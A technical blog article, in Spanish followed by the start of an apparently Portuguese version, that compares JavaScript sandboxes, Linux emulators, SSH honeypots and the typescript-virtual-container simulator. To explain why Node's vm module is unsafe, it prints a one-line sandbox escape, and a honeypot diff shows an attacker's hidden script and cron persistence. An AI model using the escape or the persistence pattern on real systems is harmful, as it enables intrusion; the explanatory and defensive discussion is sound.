El patrón aquí es bastante claro: cuanto más fidelidad quieras, más Python tienes que escribir. Cowrie es el claro ganador si haces esto en serio -- ha sido probado en batalla durante años y captura mucho más que solo credenciales. endlessh y sshesame son proyectos divertidos más que herramientas serias de inteligencia de amenazas. Y el enfoque ingenuo de Node.js te lleva quizás el 20% del camino antes de que encuentres un muro.


Parte 5 -- typescript-virtual-container: lo que llena el vacío

Bien, aquí es donde las cosas se ponen interesantes. Después de catalogar todas las familias anteriores, el cuadrante faltante se vuelve bastante obvio:

  • Sandboxes JS: aíslan código, sin shell, sin sistema de archivos, sin SSH
  • Emuladores de Linux: SO real, shell real, SSH real... pero 150+ MB de RAM, arranque de 30 segundos, y necesitas construir tu propia API sobre E/S serie
  • Honeypots: shell falso, sin API programática, Python/Go/C, no nativos de Node

Nadie había construido un entorno Linux completo, programático y nativo de Node con SSH real, permisos reales, redes virtuales reales y una API TypeScript tipada. Así que ella lo construyó.

Presentación rápida ya que es la primera vez que la menciono adecuadamente: typescript-virtual-container fue construido por Chloé Rolzhausen, una desarrolladora francesa que usa el nombre Fortune (o ItsRealFortune) en línea. Puedes encontrarla en su sitio web y en LinkedIn. Todo el proyecto -- 56k líneas de TypeScript, 247 archivos, 170 comandos -- fue un esfuerzo en solitario de una persona. La llamaré Fortune por el resto del artículo. Y sí, es bastante loco. ¡Ve a ver su trabajo!

Lo que realmente es

typescript-virtual-container es un simulador de entorno Linux escrito en TypeScript puro. Sin Wasm. Sin addons nativos. Sin kernel. ~56,000 líneas de código fuente en 247 archivos TypeScript.

La idea clave: no necesitas un emulador de CPU para hacer que ls /etc | grep passwd funcione. Necesitas:

  1. Un árbol de nodos en memoria que responda a operaciones de ruta
  2. Un modelo de permisos POSIX aplicado en cada acceso
  3. Un parser de shell que entienda pipelines, redirecciones, sub-shells y expansión de variables
  4. ~170 implementaciones de comandos (funciones, no binarios)
  5. Un sistema de gestión de usuarios y grupos
  6. Algo para exponer todo esto sobre SSH

Todo eso es alcanzable en TypeScript puro sin involucrar un kernel.

El VirtualFileSystem

El VFS es un árbol en memoria de nodos tipados -- sin E/S de disco a menos que habilites explícitamente el modo de persistencia "fs":

// Representación interna simplificada
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // placeholder de carga diferida

Cada operación de ruta pasa por normalizePath (resuelve ., .., symlinks) y enforceAccess (verifica permisos de lectura/escritura/ejecución contra el uid/gid solicitante). chmod, chown, sticky bits y setuid están todos implementados y realmente se aplican. Si un proceso ejecutándose como uid 1000 intenta leer un archivo propiedad de root con modo 0600, obtiene EACCES -- no un EACCES falso, un Error real de JavaScript lanzado desde la verificación de permisos. Esa parte es bastante elegante, honestamente.

El VFS se serializa a:

  • .vfsb -- un formato binario compacto (personalizado, con compresión fflate) -- este es el predeterminado
  • Snapshot JSON -- legible por humanos, bueno para depuración
  • Archivo TAR -- importación/exportación con formato tar real, así que puedes hacer tar -xf algo y el VFS simplemente... tiene esos archivos
  • Imagen SquashFS -- importación de solo lectura

En el modo de persistencia "fs", mantiene un diario de escritura anticipada (WAL) para recuperación ante caídas -- las escrituras van primero al diario, luego al snapshot al vaciar. Si Node se cae en medio de una operación, el diario te permite reconstruir el último estado completo.

También hay una capa FileCache que simula latencia de E/S de disco. Configuras perfiles como NVME_DISK_IO o HDD_DISK_IO y el VFS retrasa artificialmente las operaciones de archivo para coincidir con tiempos realistas. Lo cual es bastante gracioso -- software ralentizándose intencionalmente para simular hardware -- pero en realidad muy útil para benchmarking.

El intérprete de shell

El parser de shell produce un AST tipado:

// "ls /etc | grep root && echo done" se parsea a:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

El ejecutor recorre este AST:

  • Para un pipeline, crea una cadena de flujos { stdin, stdout, stderr } y ejecuta cada comando con E/S canalizada
  • Para operadores lógicos (&&, ||), verifica $? después del lado izquierdo antes de ejecutar el derecho
  • Para sub-shells ($(...), ` `), bifurca el contexto de ejecución
  • Para redirecciones (>file, >>file, 2>&1, <file), configura el cableado de flujos antes de la ejecución
  • Para trabajos en segundo plano (cmd &), se ejecuta sin esperar la finalización
  • Para variables, expande $VAR, ${VAR:-default}, ${#VAR}, y aritmética $((expr))
  • Para expansión de llaves ({a,b,c}, {1..5}), genera la lista de expansión completa antes de ejecutar

Todo esto es comportamiento real de shell POSIX. El parser maneja heredocs, sustitución de procesos, globbing (*, ?, [abc]), y manejo de comillas (comillas simples, comillas dobles con interpolación, escape con barra invertida). No es perfecto -- existen casos límite -- pero está mucho más allá de lo que esperarías de un proyecto TypeScript.

~170 comandos integrados

Los comandos son funciones TypeScript registradas en un registro de comandos. Reciben un CommandContext con flujos stdin/stdout/stderr, el VFS, la sesión de usuario, el entorno del shell y acceso a submódulos.

Escribir 170 implementaciones de comandos Unix es... mucho. Algunos son triviales (echo, true, false), algunos son sorprendentemente complejos (awk, find, tar). Como, ¿awk POSIX completo? ¿En TypeScript? Eso es una locura honestamente. Aquí hay una muestra de lo que hay:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (lado cliente, conexión saliente),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (stub), python3 (stub), node (stub),
nano (editor interactivo completo), vim (básico), vi (básico),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (simulado), systemctl (stub), journalctl (stub),
...y ~130 más

Los «stubs» (git, python3, node) responden de manera realista a invocaciones comunes -- python3 --version devuelve una cadena de versión creíble, git status muestra un estado de repo falso -- sin hacer trabajo real. Para un honeypot, estos son en realidad más útiles que los reales, porque te permiten observar lo que los atacantes intentan ejecutar sin ejecutar realmente nada dañino.

El servidor SSH

La capa SSH usa el paquete npm real ssh2 -- protocolo SSH real, intercambio de claves real, cifrado real. SSHMimic lo envuelve:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// SSH real: ssh -p 2222 root@localhost
// SFTP real: sftp -P 2222 root@localhost
// SCP real: scp -P 2222 file root@localhost:/tmp/

Las shellProperties determinan lo que uname -a, lsb_release -a, neofetch, /proc/version y /etc/os-release reportan. Puedes impersonar cualquier distribución de Linux y versión de kernel de manera convincente -- para un cliente SSH real no hay literalmente forma de notar la diferencia.

El módulo HoneyPot

Como el intérprete de shell es real y el servidor SSH es real, los comandos del atacante realmente se ejecutan en el entorno virtual. Las solicitudes wget iniciadas por atacantes se registran con las URLs de destino. Los archivos creados por atacantes se guardan en el VFS. Los intentos de escalada de privilegios producen errores realistas.

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// Después de una sesión, diferencias el sistema de archivos
const before = shell.vfs.toSnapshot();
// ... sesión del atacante ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

Esto es cualitativamente diferente de Cowrie. El sistema de archivos falso de Cowrie puede responder a ls pero no puede rastrear realmente qué archivos creó un atacante y qué cambios hicieron como un diff estructurado. typescript-virtual-container puede, porque el VFS es una estructura de datos viva -- cada escritura se rastrea. ¿Esa entrada de cron que el atacante acaba de añadir? Está en el diff. ¿Esa carpeta .hidden? En el diff. Bastante útil para análisis de malware.

El stack de red virtual

Esta es probablemente la parte más impresionante de todo el proyecto, y no tiene equivalente en ningún otro proyecto en este espacio. Como, un stack de red virtual L2/L3 completo con soporte VPN, escrito en TypeScript puro, sin adaptadores de red reales involucrados. Eso es genuinamente salvaje.

VirtualNetworkManager le da a cada instancia de VirtualShell interfaces de red virtuales con direcciones IP configurables, tablas de enrutamiento y un firewall de software (reglas estilo iptables con conntrack y NAT). ip addr, ip route, iptables -L, netstat -rn todos muestran el estado de la red virtual.

VirtualSwitch (llamado Baie -- de la palabra francesa para rack de servidor, «baie informatique») conecta múltiples shells en una subred compartida. Implementa:

  • Aprendizaje MAC y ARP
  • Enrutamiento IP entre subredes
  • NAT (masquerade de salida)
  • DNS (registros configurables por subred)
  • Balanceo de carga (round-robin, least-connections)
  • Modelado de tráfico: latencia, jitter (distribución gaussiana), pérdida de paquetes, pérdida por ráfagas, reordenamiento, duplicación
  • Límite de ancho de banda (token bucket)
  • Cumplimiento de MTU
  • Seguimiento de conexiones (stateful, con estados NEW/ESTABLISHED/TIME_WAIT)
const baie = new Baie("192.168.0.0/24");

// Tres máquinas virtuales en el mismo switch
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// Firewall: web puede alcanzar api, api puede alcanzar db, web no puede alcanzar db directamente
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// Modelado de tráfico: simular un enlace WAN inestable hacia el exterior
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn crea túneles cifrados entre instancias de Baie -- puedes simular una red multi-sitio con interconexiones VPN entre sitios.

VirtualProxy implementa reenvío de puertos y un proxy SOCKS5.

Nada de esto toca un adaptador de red real. Es todo enrutamiento de objetos TypeScript. El comando ping» funciona» enrutando a través del switch virtual y devolviendo respuestas ICMP simuladas. curl http://192.168.0.3/api` enruta a través de la red virtual, golpea la respuesta HTTP simulada del shell api y devuelve el contenido. Son tortugas todo el camino hacia abajo, de la mejor manera posible.

El SandboxedShell

Para uso programático donde necesitas un aislamiento más fuerte, SandboxedShell ejecuta una sesión de shell en un Worker thread de Node.js:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 25% de un núcleo
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

El aislamiento aquí se aplica mediante la capa VFS (el shell del worker thread solo puede ver el sistema de archivos virtual, nunca el sistema de archivos anfitrión) más el aislamiento de memoria del Worker thread de Node.js. Esto es más ligero que isolated-vm pero más apropiado para aislamiento a nivel de shell en lugar de aislamiento a nivel de JS.

Límites de recursos

Puedes configurar límites de recursos por shell que afectan lo que los comandos de monitoreo del sistema reportan:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

Dentro de ese shell, free -m muestra 512 MB de RAM total. nproc devuelve 2. /proc/meminfo muestra los valores limitados. htop y top muestran el recuento de CPU limitado. Esto te permite ajustar el perfil de hardware de la máquina falsa precisamente.

Tres modos de despliegue

Modo 1: Servidor SSH/SFTP
  VirtualSshServer / VirtualSftpServer
  → Protocolo SSH real, SFTP real, SCP real
  → Caso de uso: honeypots, entornos de prueba remotos, laboratorios de entrenamiento

Modo 2: Web shell (navegador)
  builds/fortune-nyx-v1.7.8-web.min.js (bundle ESM)
  → Se ejecuta en el navegador, VFS persistido en IndexedDB
  → Caso de uso: tutoriales interactivos, terminales embebidas, demos
  → Extra: ejecuta startxfce4 para un escritorio XFCE simulado completo

Modo 3: CLI independiente
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (archivo único, sin instalación)
  → curl y ejecutar, persiste VFS en directorio .vfs/
  → Caso de uso: demos rápidas, experimentación local

Los polyfills -- cómo el build de navegador funciona sin Wasm

OK, esta es la parte que encuentro genuinamente inteligente y quería destacar específicamente.

Hacer que una librería de Node.js funcione en el navegador es normalmente una pesadilla. O usas un runtime Wasm (pesado, lento de cargar) o pasas semanas reemplazando manualmente cada importación node:* con una alternativa compatible con navegadores. Fortune hizo la segunda opción -- pero muy limpiamente, escribiendo un conjunto de polyfills personalizados que viven en el directorio polyfills/ del repositorio.

El pipeline de build es solo esbuild con un montón de entradas alias:

// demo/build.js -- toda la configuración del build de navegador
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

Sin Wasm. Sin librería de polyfills externa. Sin tonterías de webpack-node-externals. Solo módulos con alias y un par de globales inyectados. Déjame explicar cada uno porque algunos son genuinamente impresionantes.

node:fs -- IndexedDB como sistema de archivos falso

Este es mi favorito. El polyfill de node:fs implementa la API síncrona de Node.js fs (readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...) respaldada por dos capas: un Map en memoria para lecturas síncronas, e IndexedDB para persistencia entre recargas de página. Las escrituras golpean el Map inmediatamente (así que readFileSync justo después de writeFileSync siempre funciona), luego se vacían a IndexedDB asíncronamente en segundo plano.

// Sync cache (path → Uint8Array | null) -- lecturas instantáneas
const memCache = new Map();

// Precargar todo desde IndexedDB a memCache al inicio
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

Esta es la razón por la que el snapshot del VFS sobrevive a recargas de página en el navegador -- todo el binario .vfsb se escribe en IndexedDB a través de este polyfill, y se lee de vuelta en la siguiente carga. Sin Wasm. Sin servidor. Solo IndexedDB, que ha estado en todos los navegadores desde como 2011.

node:crypto -- SHA-256 en JS puro

En lugar de usar una librería criptográfica Wasm, el polyfill de crypto implementa SHA-256 desde cero usando las constantes de ronda FIPS 180-4. 166 líneas de JS puro con soporte completo de salida hex/base64/Uint8Array. Todo el hash en la librería pasa por esto -- huellas digitales de claves de host SSH, sumas de verificación internas, todo. Compacto, cero dependencias, simplemente funciona.

node:os -- lee el hardware real del navegador

Este es un buen detalle. En lugar de devolver valores de marcador de posición fijos, node:os lee navigator.deviceMemory para la RAM total y navigator.hardwareConcurrency para el recuento de CPU. Así que neofetch dentro del build de navegador realmente reporta algo que corresponde a tu máquina real -- no un stub inventado de 2 cores, 2GB RAM.

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB fallback
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // también parsea navigator.userAgent para adivinar el modelo de CPU
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify -- stubs honestos

El navegador no puede abrir sockets TCP ni ejecutar SSH real, así que estos son stubs que lanzan un error NotImplemented con un mensaje claro si algo intenta usarlos. Sin fallo silencioso, sin devolver undefined donde se espera un objeto. Solo un fuerte y claro «esto no funciona en el navegador» -- que es exactamente lo que quieres.

process.js y buffer.js -- globales inyectados

Estos dos se inyectan al principio de cada archivo empaquetado mediante la opción inject de esbuild, así que process y Buffer están disponibles globalmente sin necesidad de importación explícita. process.js es pequeño: env, version, platform: 'browser', nextTick via queueMicrotask, uptime via performance.now(). buffer.js es una reimplementación completa de Buffer sobre Uint8Array -- todos los métodos readUInt32BE, writeInt16LE, codificación hex/base64 de los que dependen la implementación SSH y el VFS.


Todo el conjunto de polyfills tiene aproximadamente 640 líneas de JS escrito a mano en total. Sin paquetes npm. Sin Wasm. Y el resultado es un bundle de navegador que es solo la librería, ejecutándose de forma nativa, sin ninguna de las ansiedades habituales de «¿pero realmente funciona en el navegador?» que tienes con las librerías hechas primero para Node. Vale la pena echar un vistazo a la carpeta polyfills/ en el repositorio si tienes curiosidad -- cada archivo está bien contenido y es legible por sí mismo, que es una elección de estilo que aprecio mucho.

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
Categoría Sandbox JS Sandbox JS Sandbox JS Emulador Emulador Node.js/Wasm Honeypot Simulador
Aísla JS ⚠️ ámbito ✅ V8 Isolate ✅ Wasm n/a n/a parcial n/a ✅ Worker
Kernel Linux real ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
Intérprete de shell ❌ ❌ ❌ ✅ (real) ✅ (real) ✅ (real) parcial ✅ (personalizado)
~170 comandos Unix ❌ ❌ ❌ ✅ ✅ parcial ~20 ✅
Permisos POSIX ❌ ❌ ❌ ✅ ✅ ✅ parcial ✅ aplicados
Gestión de usuarios ❌ ❌ ❌ ✅ ✅ ❌ mínimo ✅ completo
Servidor SSH real ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Honeypot/auditoría ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
Diff/snapshot VFS ❌ ❌ ❌ limitado ❌ ❌ ❌ ✅
Red virtual L2/L3 ❌ ❌ ❌ básico ❌ ❌ ❌ ✅ completo
VPN virtual ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Soporte navegador ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.js nativo ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
API tipada básica ✅ ✅ mínima ❌ ✅ ❌ ✅ completa
Compatibilidad binaria n/a n/a n/a ✅ ✅ parcial n/a ❌
Tiempo arranque instantáneo instantáneo instantáneo 15–40s 15–40s 2–5s instantáneo <1s
RAM/instancia ~1 MB ~3–10 MB ~5–15 MB 150–256 MB 200+ MB ~100 MB ~50 MB ~5–20 MB
Deps runtime 0 1 (nativo) 1 (Wasm) 0 propietario 1 deps Python 3 (ssh2, ws, fflate)
Estado estable ✅ activo ✅ activo ✅ muy activo comercial ✅ activo ✅ activo ✅ activo

Cuándo usar qué

Necesitas ejecutar JavaScript no confiable -- una fórmula enviada por un usuario, un plugin, un hook de script.
→ isolated-vm. V8 Isolate real, límites de memoria duros, puente de comunicación explícito. Evita vm2 -- la lista de CVEs sigue creciendo, en serio es como uno nuevo cada pocos meses. Evita vm -- no es un sandbox en absoluto, por favor.

Necesitas aislar JS y no quieres un addon nativo, o necesitas compatibilidad con navegador.
→ quickjs-emscripten. Límite Wasm, módulo ~500 KB, funciona en navegadores y Node. Más lento que V8 pero genuinamente aislado.

Necesitas arrancar un SO Linux real y sin modificar con compatibilidad binaria.
→ v86 para Linux de 32 bits, o container2wasm si tienes una imagen Docker existente. Acepta 150 MB+ de RAM y un arranque de 30 segundos, ese es el trato. Si necesitas 64 bits, mira CheerpX o simplemente usa un runtime de contenedor real.

Necesitas incrustar una terminal tipo Linux en una aplicación web sin backend.
→ v86 (SO completo, pesado, lento de iniciar) o el bundle de navegador de typescript-virtual-container (simulador, más ligero, arranque instantáneo, incluye startxfce4 para un escritorio completo que está bastante genial la verdad).

Necesitas tutoriales de programación interactivos en línea o un IDE de navegador.
→ WebContainers si estás enfocado en el ecosistema Node.js. CheerpX si necesitas un espacio de usuario Linux real. El bundle de navegador de typescript-virtual-container si quieres una opción más ligera con una API tipada.

Quieres recopilar TTPs de atacantes SSH a escala.
→ Cowrie es el estándar de producción, punto final. Se ejecuta en cualquier servidor Linux, se integra con todos los SIEM, tiene modo LLM ahora. Solo usa Cowrie.

Quieres datos de honeypot SSH en una aplicación Node.js con una API programática.
→ typescript-virtual-container. Los comandos realmente se ejecutan. El VFS es una estructura de datos real que puedes capturar y diferenciar. El atacante obtiene un entorno interactivo convincente, y tú obtienes datos de auditoría estructurados sin salir de Node.

Necesitas automatización de shell / pruebas en CI sin Docker.
→ typescript-virtual-container. Arranque en menos de un segundo, snapshot antes de una prueba, restaura después. Ejecuta comandos de shell con una API tipada. Sin demonio Docker, sin kernel, sin VM, sin esperas.

Necesitas entornos de shell multi-tenant (SaaS, educación, entrenamiento).
→ typescript-virtual-container. 5–20 MB por instancia vs. 150–256 MB para un emulador. 100 usuarios concurrentes: ~2 GB vs. ~25 GB. ¡Esa es una gran diferencia en costos de alojamiento!

Necesitas un honeypot realista que también te permita construir un laboratorio de red multi-VM.
→ typescript-virtual-container es lo único en este espacio que hace ambas cosas.


Lo que no puede hacer (y quiero ser honesto al respecto)

No puede ejecutar binarios x86 nativos. Si necesitas compilar código C, ejecutar un intérprete de Python real, o usar software compilado para Linux, no hay una ABI de kernel que respalde esas syscalls. Comandos como gcc, python3 y node son stubs -- responden a --version e invocaciones comunes, pero no ejecutan nada real.

Este es el tradeoff fundamental: ganas 10–50x menos memoria, arranque instantáneo, compatibilidad con navegadores, una API tipada, SSH real y redes virtuales -- y renuncias a la compatibilidad binaria con el espacio de usuario de Linux.

Fortune pensó mucho en esto al diseñar el proyecto. Para los casos de uso que estaba apuntando -- honeypots, pruebas, terminales embebidas, entornos CI -- ejecutar un binario compilado nunca es realmente necesario. Pipelines de shell, manipulación de archivos, enrutamiento de red y SSH cubren todo. Pero si tu caso de uso requiere software compilado real, v86 o Docker es la respuesta correcta, no esto.


Para cerrar

Bueeeno, sí. Este ecosistema es más amplio y más fragmentado de lo que parece desde fuera. vm es un separador de ámbitos, no un sandbox. vm2 sigue acumulando CVEs (en serio, solo revisa los avisos de este mes). isolated-vm es la respuesta correcta para sandboxing JS pero solo JS. quickjs-emscripten es la opción correcta cuando necesitas compatibilidad con navegadores o quieres evitar addons nativos. v86 y CheerpX son emuladores reales cuando necesitas compatibilidad binaria real. WebContainers es Node.js en Wasm, no un entorno Linux general. Cowrie es el estándar de oro para honeypots SSH, pero es Python y no nativo de Node.

Y luego está typescript-virtual-container -- el proyecto de Fortune -- que vive en su propia categoría. No es un emulador, no es un sandbox JS, no es un honeypot pasivo. Algo intermedio entre todos ellos que resultó ser sorprendentemente útil para muchas cosas que ninguno de los otros puede hacer.

typescript-virtual-container llena el vacío que ninguno de los otros toca: un entorno de shell Linux completo y programático con SSH real, SFTP, permisos POSIX, gestión de usuarios, redes virtuales y una API TypeScript tipada -- ejecutándose en ~10 MB, arrancando en menos de un segundo, funcionando tanto en Node.js como en el navegador.

Si quieres probarlo: el código fuente está en github.com/itsrealfortune/typescript-virtual-container y hay una demo en vivo (incluyendo startxfce4 para un escritorio completo, que está honestamente genial) en itsrealfortune.fr/typescript-virtual-container/demo. ¡Ve a echarle un vistazo y dale a Fortune algunas estrellas en GitHub, se lo merece!

Gracias por leer -- este fue uno largo incluso para mis estándares :) espero que haya sido útil!


Fuentes

Intenté enlazar cada afirmación a una fuente primaria -- avisos CVE, documentación oficial, repositorios GitHub, publicaciones de blog de mantenedores. Algunas notas: la lista de CVEs de vm2 sigue creciendo, así que el enlace de FortiGuard podría estar desactualizado para cuando leas esto (revisa la página de avisos de GitHub para lo más reciente). Los enlaces de Bellard son todos estables -- su sitio personal ha estado activo para siempre y el contenido no cambia. Y si quieres profundizar en cualquiera de los polyfills, solo navega por la carpeta polyfills/ en el repositorio de typescript-virtual-container directamente -- es más legible que cualquier descripción que pueda escribir aquí.

Sandboxes de JavaScript

Emuladores de Linux

Stack de terminal

Honeypots

typescript-virtual-container

Lectura complementaria

Comparação das soluções JavaScript para simulação de kernels Linux

Uma análise aprofundada das reconstituições de ambientes Linux

Cada sandbox JavaScript, emulador, simulador e honeypot Linux -- comparado

Bom, então faz um tempo que estou muito fundo nessa toca de coelho lol. Tudo começou porque eu estava ajudando no typescript-virtual-container -- um projeto da Fortune (volto a isso daqui a pouco) -- e me perguntavam toda hora "espera, qual é a diferença com o v86?" ou "por que não usar vm2?" -- e percebi que não conseguia dar uma resposta clara sem mapear todo o ecossistema primeiro. Então é isso, aqui estamos eu acho xD

Acontece que existem quatro famílias distintas -- os sandboxes JS, os emuladores Linux, os simuladores Linux e os honeypots -- e elas quase nunca se sobrepõem, mesmo que sejam mencionadas constantemente na mesma frase. Alguém construindo um sistema de plugins usa isolated-vm. Alguém fazendo uma demo de ferramenta CLI usa v86. Alguém fazendo inteligência de ameaças SSH usa Cowrie. Eles resolvem problemas completamente diferentes sob o mesmo guarda-chuva vago de "rodar código dentro de uma caixa."

Passei muito tempo lendo código fonte, relatórios CVE, docs de arquitetura e páginas npm para escrever este artigo. Vai ser longo -- pega um café, sério. Ou dois.

Pequeno disclaimer: typescript-virtual-container é destacado neste artigo porque foi o que desencadeou esta pesquisa. Tentei ser justo com todo o resto, mas mantenha esse contexto em mente.


Parte 0 -- Primeiro, qual problema você está realmente resolvendo?

Antes de mergulhar, vale a pena ser preciso sobre a utilidade de cada família, porque a terminologia fica confusa rapidamente e as pessoas misturam tudo constantemente (eu inclusive, antes de sentar e mapear tudo direitinho).

Os sandboxes JS isolam código JavaScript do processo Node.js hospedeiro. O modelo de ameaça é: código JS não confiável que poderia chamar process.exit(), ler arquivos, ou lançar processos filhos. A solução é uma fronteira ao redor da execução V8. Essas ferramentas não têm noção de um shell Linux, de um sistema de arquivos com permissões, ou de SSH.

Os emuladores Linux rodam um kernel Linux real não modificado dentro de um emulador de CPU (x86, RISC-V, OR1K) implementado em JavaScript ou WebAssembly. Você inicia um SO real. Você tem syscalls reais. Você tem compatibilidade binária com programas compilados para x86. O custo em recursos é enorme.

Os simuladores Linux imitam o comportamento de um sistema Linux sem rodar um kernel real. Eles implementam um interpretador de shell, um sistema de arquivos virtual e semântica Unix suficiente para enganar programas e humanos. Sem kernel. Sem Wasm. Sem emulação de CPU. Muito menos recursos.

Os honeypots são projetados para atrair atacantes e registrar o que eles fazem. Não são principalmente ambientes de execução -- são ferramentas de observabilidade. A fidelidade ao comportamento real do Linux importa apenas na medida em que impede o atacante de detectar a armadilha.

Com esse quadro, aqui está onde cada projeto deste artigo se situa:

JS sandbox:       vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Emulador Linux:   v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Simulador Linux:  typescript-virtual-container (único neste espaço)
Honeypot:         Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
Stack terminal:   xterm.js + node-pty (não é um isolador, mas relacionado)

Parte 1 -- Os sandboxes JavaScript

1.1 vm -- o módulo nativo do Node.js (não é o que você pensa)

A resposta mais antiga para "executar JS não confiável" no Node é o módulo nativo vm. Ele existe desde a v0.1, então muitas pessoas o usam primeiro -- e se queimam.

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

O que vm realmente faz: ele cria um novo contexto V8 (um novo conjunto de construtores nativos -- Object, Array, Function, etc.) e executa código dentro dele, com uma referência compartilhada para o que você coloca em sandbox. Seu motor V8 não muda. Seu processo não muda. A memória é compartilhada.

A razão pela qual vm não oferece segurança alguma: a cadeia de protótipos do JavaScript é um DAG que conecta tudo a Object.prototype. Se você coloca um objeto do mundo hospedeiro no sandbox, o convidado pode subir pela sua cadeia de protótipos e alcançar os construtores hospedeiros. A partir de Function, você pode chamar Function("return process")() e recuperar o verdadeiro process. Game over. Tipo, imediatamente.

// Isso funciona perfeitamente no vm -- você recupera o verdadeiro process
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

Quer dizer, a própria documentação do Node.js diz: "O módulo vm não é um mecanismo de segurança. Não o use para executar código não confiável." Este aviso está lá desde sempre. As pessoas o ignoram constantemente. Já vi aplicações em produção usando vm como sandbox. Por favor, não faça isso xD

Veredito: um mecanismo de escopo, não um sandbox. Use-o quando precisar isolar variáveis (motores de template, funcionalidades tipo eval onde você controla o código). Nunca para entradas não confiáveis.

Memória: sobrecarga negligenciável -- mesmo heap V8 que o processo hospedeiro.
Segurança: nenhuma contra um atacante motivado.


1.2 vm2 -- a tentativa da comunidade, e sua longuíssima morte

vm2 foi a resposta da comunidade ao problema de fuga do vm. A ideia central: envolver cada objeto que cruza a fronteira do sandbox em um Proxy que intercepta acessos a propriedades, bloqueia a subida de protótipos, e filtra referências perigosas. Ideia inteligente na teoria! Nem tanto na prática, como veremos.

const { VM } = require("vm2");
